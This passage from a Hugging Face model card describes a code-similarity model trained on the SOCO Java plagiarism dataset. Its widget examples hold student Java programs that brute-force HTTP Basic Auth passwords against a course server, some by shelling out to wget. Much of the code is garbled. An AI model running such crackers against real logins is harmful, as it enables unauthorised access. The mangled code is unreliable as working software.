\n\t\t\t\t\t\tcnt++;\n\t\t\t\t\t   if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis();  \n\t\t\t\t\t\t\t net=t1-t0;                                    \n\t\t\t\t\t\t\tSystem.out.println(\"The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password;  \n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t      \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t  e.printStackTrace();   \n\n\t\t\t\t}\n\n\t\t\t\n\t\t     \n\t\t  \n\t\t  }\n\t\t  \n\n\n\n         \n                         \n\t    }  \n        \n  \n\t} \n        return \"Password could not  found\";  \n\n }\n\n\n}"
  - source_sentence: |
      package java.httputils;

      import java.io.IOException;
      import java.net.MalformedURLException;
      import java.sql.Timestamp;


      public class RunnableBruteForce extends BruteForce implements Runnable
      {
          protected int rangeStart, rangeEnd;
          protected boolean stop = false;
          
          public RunnableBruteForce()
          {
              super();
          }

          
          public void run()
          {
              process();
          }

          public static void main(String[] args)
          {
          }
          
          public int getRangeEnd()
          {
              return rangeEnd;
          }

          
          public int getRangeStart()
          {
              return rangeStart;
          }

          
          public void setRangeEnd(int i)
          {
              rangeEnd = i;
          }

          
          public void setRangeStart(int i)
          {
              rangeStart = i;
          }

          
          public boolean isStop()
          {
              return stop;
          }

          
          public void setStop(boolean b)
          {
              stop = b;
          }

          public void process()
          {
              String password = "";
              
              System.out.println(Thread.currentThread().getName() +
                                  "->  workload: " +
                                  this.letters[getRangeStart()] + "  " +
                                  this.letters[getRangeEnd() - 1]);
              setStart(new Timestamp(System.currentTimeMillis()));

              for (int i = getRangeStart();
                  i < getRangeEnd();
                  i++)
              {
                  System.out.println(Thread.currentThread().getName() +
                          "-> Trying words beginning with: " +
                          letters[i]);
                  for (int i2 = 0;
                      i2 < letters.length;
                      i2++)
                  {
                      for (int i3 = 0;
                          i3 < letters.length;
                          i3++)
                      {
                          if (isStop())
                          {
                              return;
                          }
                          try
                          {
                              char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                              String pwd = new String(arr);
                              
                              if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
                              {
                                  System.out.println(Thread.currentThread().getName() +
                                         "-> Trying password: " +
                                          pwd);
                              }
                              attempts++;

                              BasicAuthHttpRequest req =
                                  new BasicAuthHttpRequest(
                                      getURL(),
                                      getUserName(),
                                      pwd);
                              System.out.println("Got the password");
                              setPassword(pwd);
                              setEnd(new Timestamp(System.currentTimeMillis()));
                              setContent(req.getContent().toString());

                              
                              this.setChanged();
                              this.notifyObservers(this.getContent());
                              return;
                          }
                          catch (MalformedURLException e)
                          {
                              e.printStackTrace();
                              return;
                          }
                          catch (IOException e)
                          {

                          }
                      }
                  }
              }

              
              setEnd(new Timestamp(System.currentTimeMillis()));
          }

      }
    sentences:
      - |-


        public class Base64 {


        static public char[] encode(byte[] data)
        {
            char[] out = new char[((data.length + 2) / 3) * 4];

            
            
            
            
            for (int i=0, index=0; i<data.length; i+=3, index+=4) {
                boolean quad = false;
                boolean trip = false;

                int bat = (0xFF & (int) data[i]);
                bat <<= 8;
                if ((i+1) < data.length) {
                    bat |= (0xFF & (int) data[i+1]);
                    trip = true;
                }
                bat <<= 8;
                if ((i+2) < data.length) {
                   bat  |= (0xFF & (int) data[i+2]);
                    quad = true;
                }
                out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
                bat >>= 6;
                out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
                bat >>= 6;
                out[index+1] = alphabet[bat & 0x3F];
                bat >>= 6;
                out[index+0] = alphabet[ bat & 0x3F];
            }
            return out;
        }

          
        static public byte[] decode(char[] data)
        {
            
            
            
            
            
            

            int tempLen = data.length;
            for( int ix=0; ix<data.length; ix++ )
            {
                if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
                    --tempLen;  
            }
            
            
            
            

            int len = (tempLen / 4) * 3;
            if ((tempLen % 4) == 3) len += 2;
            if ((tempLen % 4) == 2) len += 1;

            byte[] out = new byte[len];



            int shift = 0;   
            int accum = 0;   
            int index = 0;

            
            for (int ix=0; ix<data.length; ix++)
            {
                int value = (data[ix]>255)? -1: codes[ data[ix] ];

                if ( value >= 0 )           
                {
                    accum <<= 6;            
                    shift += 6;             
                    accum |= value;         
                    if ( shift >= 8 )       
                    {
                        shift -= 8;         
                        out[index++] =      
                            (byte) ((accum >> shift) & 0xff);
                    }
                }
                
                
                
                
                
                
            }

            
            if( index != out.length)
            {
                throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
            }

            return out;
        }





        static private char[] alphabet =
            "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
                .toCharArray();




        static private byte[] codes = new byte[256];
        static {
            for (int i=0; i<256; i++) codes[i] = -1;
            for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
            for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
            for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
            codes['+'] = 62;
            codes['/'] = 63;
        }
        }
      - |+

        import java.net.*;
        import java.io.*;
        import java.misc.*;
        import java.io.BufferedInputStream;
        import java.awt.*;
        import java.awt.event.*;

        public class WatchDog
        {
           public static void main (String args[])
           {
              String url = "http://yallara.cs.rmit.edu./~";
              String file1 = "test1.txt";
              int flag = 0;

              
              WriteFile write = new WriteFile(url, file1, flag);

              
              
              new DoSleep().print();
           }
        }

        class DoSleep extends Thread
        {
           public synchronized void run()
           {
              String url = "http://yallara.cs.rmit.edu./~";
              String file2 = "test2.txt";
              int flag = 1;
              int status = 0;
              String file1 = "test1.txt";

              System.out.println("Checking.........");
              try
              {
                 
                 
                 
                 sleep();

                 
                 
                 WriteFile write = new WriteFile(url, file2, flag);

                 status = write.getStatus();
                 

                  if(status != 0)
                  {
                     int flag2 = 0;
                     
                     
                     WriteFile write2 = new WriteFile(url, file1, flag2);
                  }
                  
                  new DoSleep().print();
              }
              catch (InterruptedException e) {}
           }
        }


      - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class BruteForce\n{\n\n\tpublic static void main(String[] args)    \n\t{\n          Runtime rt = Runtime.getRuntime();\n\t  Process pr= null;\n          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\t  String pass;\n          char temp[] = {'a','a'};\n          char temp1[] = {'a','a','a'};\n          char temp2[] = {'a'};\n\n\t  String f= new String();\n          String resp = new String();\n          int count=0;\n          String success = new String();\n          InputStreamReader  instre;\n          BufferedReader bufread;\n\n\n               for(int k=0;k<52;k++)\n                {\n                 temp2[0]=chars[k];\n                 pass = new String(temp2);              \n                 count++;              \n\n        System.out.println(\"The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n          \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\n                    instre = new InputStreamReader(pr.getErrorStream());\n                                 \n                  \n                    bufread = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n                          if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n                             {\n                              System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n                              System.exit(0);\n                             }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException e){}\n                }\n\n\n\n  \n            for(int j=0;j<52;j++)\n              {\n                for(int k=0;k<52;k++)\n                {\n                 temp[0]=chars[j];\n                 temp[1]=chars[k];\n\n                 pass = new String();              \n                 count++;              \n\n                 System.out.println(\"The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n          \n                f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\n                    instre = new InputStreamReader(pr.getErrorStream());\n                                 \n                  \n                    bufread = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n                          if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n                             {\n                              System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n                              System.exit(0);\n                             }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException e){}\n                 }\n               }\n\n\n     \n         for(int i=0;i<52;i++)\n            for(int j=0;j<52;j++)\n               for(int k=0;k<52;k++)\n                {\n                 temp1[0]=chars[i];\n                 temp1[1]=chars[j];\n                 temp1[2]=chars[k];\n                 pass = new String(temp1);              \n                 count++;              \n\n        System.out.println(\"The password  tried is------->\"+pass+\"---and attempt is==\"+count);\n          \n              f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n                 \n\t         try\n                  {\n\t\t    pr = rt.exec(f);\n\n                    instre = new InputStreamReader(pr.getErrorStream());\n                                 \n                  \n                    bufread = new BufferedReader(instre);\n\n                    resp = bufread.readLine();\n                    while( (resp = bufread.readLine())!= null)\n\t\t\t  {\n                          if(resp.equals(\"HTTP request sent, awaiting response... 200 OK\"))\n                             {\n                              System.out.println(\"Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"+count);\n                              System.exit(0);\n                             }\n\t\t\t\n                          }\n\t \t\n                  }catch(java.io.IOException e){}\n                }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n"
  - source_sentence: "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n    private TextArea  ta = new TextArea();\n\n  \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login=\"\";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = 'A';\n\n\t\t\tlogin=\":\";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t    ta.setText (fetchURL (s,login));\n\t\t    System.out.println(\"runing\"+login);\n\t\t}while(ta.getText().compareTo(\"Invalid URL\")!=0 || ta.getText().compareTo(\"Error  URL\")!=0);\n\n\t\tSystem.out.println(\"The password is: \"+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper (\"SEC-CRACK\");\n\n\t    \n\t    add (tf, BorderLayout.LEFT);\n\t    ta.setEditable(false);\n\t    add (ta, BorderLayout.CENTER);\n\t    tf.addActionListener (this);\n\n\t    addWindowListener (new WindowAdapter() {\n\t       public void windowClosing (WindowEvent e) {\n\t         dispose();\n\t         System.exit(0);\n\t       }\n\t     });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t    PrintWriter  pw = new PrintWriter();\n\n\t    try {\n\t       URL url = new URL (urlString);\n\n\t     \n\t\n\t       \n\n\t      \n\t       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t      \n\t       URLConnection uc = url.openConnection();\n\t       uc.setRequestProperty  (\"Authorization\", \" \" + encoding);\n\t       InputStream content = (InputStream)uc.getInputStream();\n\t       BufferedReader in   =\n\t         new BufferedReader (new InputStreamReader (content));\n\t       String line;\n\t       while ((line = in.readLine()) != null) {\n\t         pw.println (line);\n\t       }\n\t     } catch (MalformedURLException e) {\n\t       pw.println (\"Invalid URL\");\n\t     } catch (IOException e) {\n\t       pw.println (\"Error  URL\");\n\t     }\n\t     return sw.toString();\n\t}\n\n\n\tpublic static void  main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t    f.setSize(300, 300);\n\t    f.setVisible (true);\n\t}\n}\n\n\n\n\nclass  Base64Converter\n{\n\tpublic static final char [ ]  alphabet = {\n        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   \n        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   \n        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   \n        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   \n        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   \n        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   \n        'w', 'x', 'y', 'z', '0', '1', '2', '3',   \n        '4', '5', '6', '7', '8', '9', '+', '/' }; \n\n\n     public static String  encode ( String  s )\n     {\n        return encode ( s.getBytes ( ) );\n     }\n\n     public static String  encode ( byte [ ]  octetString )\n     {\n        int  bits24;\n        int  bits6;\n\n       char [ ]  out\n          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n       int outIndex = 0;\n        int i        = 0;\n\n       while ( ( i + 3 ) <= octetString.length )\n       {\n          \n          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0000003F );\n          out [ outIndex++ ] = alphabet [ bits6 ];\n       }\n\n       if ( octetString.length - i == 2 )\n       {\n          \n          bits24  = ( octetString [ i     ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n         \n          out [ outIndex++ ] = '=';\n        }\n        else if ( octetString.length - i == 1 )\n        {\n          \n          bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n          \n          out [ outIndex++ ] = '=';\n          out [ outIndex++ ] = '=';\n        }\n\n       return new String ( out );\n     }\n}\n\n"
    sentences:
      - |+


        import java.io.*;
        import java.text.*;
        import java.util.*;
        import java.net.*;

        public class BruteForce extends Thread
        {
           private static final String USERNAME = "";
           private static final char [] POSSIBLE_CHAR =
                {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
                 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
                 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
                 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
           private static int NUMBER_OF_THREAD = 500;

           private static Date startDate = null;
           private static Date endDate = null;

           private String address;
           private String password;

           public BruteForce(String address, String password)
           {
              this.address = address;
              this.password = password;
           }

           public static void main(String[] args) throws IOException
           {
              if (args.length < 1)
              {
                 System.err.println("Invalid usage!");
                 System.err.println("Usage: java BruteForce <url>");
                 System.exit(1);
              }

              try
              {
                 brute(args[0], USERNAME);
              }
              catch(Exception e)
              {
                 e.printStackTrace();
                 System.exit(1);
              }
           }

           public static void brute(String address, String user)
           {
              BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];
              int index = 0;

              startDate = new Date();
              for(int i = 0; i < POSSIBLE_CHAR.length; i++)
              {
                 for(int j = 0; j < POSSIBLE_CHAR.length; j++)
                 {
                    for(int k = 0; k < POSSIBLE_CHAR.length; k++)
                    {
                       String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+
                                         POSSIBLE_CHAR[k];

                       if (threads[index] != null && threads[index].isAlive())
                       {
                          try
                          {
                             threads[index].join();
                          }
                          catch(InterruptedException e ) {}
                       }
                       threads[index] = new BruteForce(address, password);
                       threads[index].get();

                       index = (index++) % threads.length;
                    }
                 }
              }
           }

           public void run()
           {
              if (endDate != null)
                 return;

              try
              {

                 URLConnection conn = (new URL(address)).openConnection();
                 conn.setDoInput(true);

                 if (login(conn, USERNAME, password))
                 {
                    endDate = new Date();
                    System.out.println("Found the password: \""+password+"\"!");
                    SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");
                    System.out.println("Process started at: "+format.format(startDate));
                    System.out.println("Process started at: "+format.format(endDate));
                    double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
                    System.out.println("Time taken: "+timeTaken+" minutes");
                    System.exit(0);
                 }
                 else
                 {
                    System.out.println("Password: \""+password+"\" Failed!");
                    return;
                 }
              }
              catch(Exception e)
              {
                 e.printStackTrace();
              }

           }

           public static boolean login(URLConnection conn, String user, String pass)
           {
              try
              {
                 String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);
                 conn.setRequestProperty ("Authorization", encodeAuth);
                 conn.connect();
                 conn.getInputStream();
              }
              catch(Exception e)
              {
                 return false;
              }
              return true;
           }
        }


      - |


        import java.net.*;
        import java.io.*;

        public class Base64Encoder
        {
           private final static char base64Array [] = {
                  'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
                  'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
                  'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
                  'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
                  'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
                  'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
                  'w', 'x', 'y', 'z', '0', '1', '2', '3',
                  '4', '5', '6', '7', '8', '9', '+', '/'
             };

           public static String encode (String string)
           {
              String encodedString = "";
              byte bytes [] = string.getBytes ();
              int i = 0;
              int pad = 0;
              while (i < bytes.length)
              {
                 byte b1 = bytes [i++];
                 byte b2;
                 byte b3;
                 if (i >= bytes.length)
                 {
                    b2 = 0;
                    b3 = 0;
                    pad = 2;
                 }
                 else
                 {
                    b2 = bytes [i++];
                    if (i >= bytes.length)
                    {
                       b3 = 0;
                       pad = 1;
                    }
                    else
                       b3 = bytes [i++];
                 }

                 byte c1 = (byte)(b1 >> 2);
                 byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
                 byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
                 byte c4 = (byte)(b3 & 0x3f);
                 encodedString += base64Array [c1];
                 encodedString += base64Array [c2];
                 switch (pad)
                 {
                    case 0:
                       encodedString += base64Array [c3];
                       encodedString += base64Array [c4];
                       break;
                    case 1:
                       encodedString += base64Array [c3];
                       encodedString += "=";
                       break;
                    case 2:
                       encodedString += "==";
                       break;
                 }
              }
              return encodedString;
           }
        }
      - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n  int l = 65;int m = 65;int n = 65;\n   URLConnection conn = null;\n\n   public static void  main(String args[]){\n     \n\tBruteforce a = new Bruteforce();\n        a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n\n       String login = new String(\"\");\n       String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n       String passwd = new String();\n\n\t passwd = getPasswd();\n         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println(\"Password Cracked Successfully!!!\");\n           System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n       }\n     catch (IOException e) {\n    \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println(\"Message :\" +r);\n     System.out.println(\"Trying again with new password\");\n     Bruteforce a = new Bruteforce();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n    attempts++;\n\n    char i1 = 0;\n    char j1 = 0;\n    char k1 = 0;\n    \n     int i= l;     int j= m;     int k= n;\n\n    String c = new String();\n    String c1 = new String();\n    String c2 = new String();\n    String c3 = new String();\n    String c4 = new String();\n    boolean flag;\n\n    for (i=l;i<123;i++)\n    for (j=m;j<123;j++)\n    for (k=n;k<123;k++)\n    {\n        if( flag = true )\n        {\n\n    i1 = (char)i;\n    j1 = (char)j;\n    k1 = (char)k;\n\n    if (i==91) i=97;\n    if (j==91) j=97;\n    if (k==91) k=97;\n\n    c = i1+\"\";\n    c1 = j1+\"\";\n    c2 = k1+\"\";\n    c3 = c.concat(c1);\n    c4 = c3.concat(c2);\n    }else break;\n    }\n    flag = false;\n    return c4;\n  }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String PasswordBase64(String username, String password) {\n     return \" \" + base64Encode (username + \":\" + password);\n     }\n\n private final static char base64Array [] = {\n       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n       'w', 'x', 'y', 'z', '0', '1', '2', '3',\n       '4', '5', '6', '7', '8', '9', '+', '/'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = \"\";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += \"=\";\n          break;\n        case  2:\n          encodedString += \"==\";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n"
datasets:
  - buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: microsoft/unixcoder-base-unimodal
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity
• Training Dataset:
  • soco_train_java

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-e50")
# Run inference
sentences = [
    '\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n    private TextArea  ta = new TextArea();\n\n  \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t    ta.setText (fetchURL (s,login));\n\t\t    System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error  URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t    \n\t    add (tf, BorderLayout.LEFT);\n\t    ta.setEditable(false);\n\t    add (ta, BorderLayout.CENTER);\n\t    tf.addActionListener (this);\n\n\t    addWindowListener (new WindowAdapter() {\n\t       public void windowClosing (WindowEvent e) {\n\t         dispose();\n\t         System.exit(0);\n\t       }\n\t     });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t    PrintWriter  pw = new PrintWriter();\n\n\t    try {\n\t       URL url = new URL (urlString);\n\n\t     \n\t\n\t       \n\n\t      \n\t       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t      \n\t       URLConnection uc = url.openConnection();\n\t       uc.setRequestProperty  ("Authorization", " " + encoding);\n\t       InputStream content = (InputStream)uc.getInputStream();\n\t       BufferedReader in   =\n\t         new BufferedReader (new InputStreamReader (content));\n\t       String line;\n\t       while ((line = in.readLine()) != null) {\n\t         pw.println (line);\n\t       }\n\t     } catch (MalformedURLException e) {\n\t       pw.println ("Invalid URL");\n\t     } catch (IOException e) {\n\t       pw.println ("Error  URL");\n\t     }\n\t     return sw.toString();\n\t}\n\n\n\tpublic static void  main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t    f.setSize(300, 300);\n\t    f.setVisible (true);\n\t}\n}\n\n\n\n\nclass  Base64Converter\n{\n\tpublic static final char [ ]  alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',   \n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',   \n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',   \n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',   \n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',   \n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',   \n        \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',   \n        \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n     public static String  encode ( String  s )\n     {\n        return encode ( s.getBytes ( ) );\n     }\n\n     public static String  encode ( byte [ ]  octetString )\n     {\n        int  bits24;\n        int  bits6;\n\n       char [ ]  out\n          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n       int outIndex = 0;\n        int i        = 0;\n\n       while ( ( i + 3 ) <= octetString.length )\n       {\n          \n          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0000003F );\n          out [ outIndex++ ] = alphabet [ bits6 ];\n       }\n\n       if ( octetString.length - i == 2 )\n       {\n          \n          bits24  = ( octetString [ i     ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ 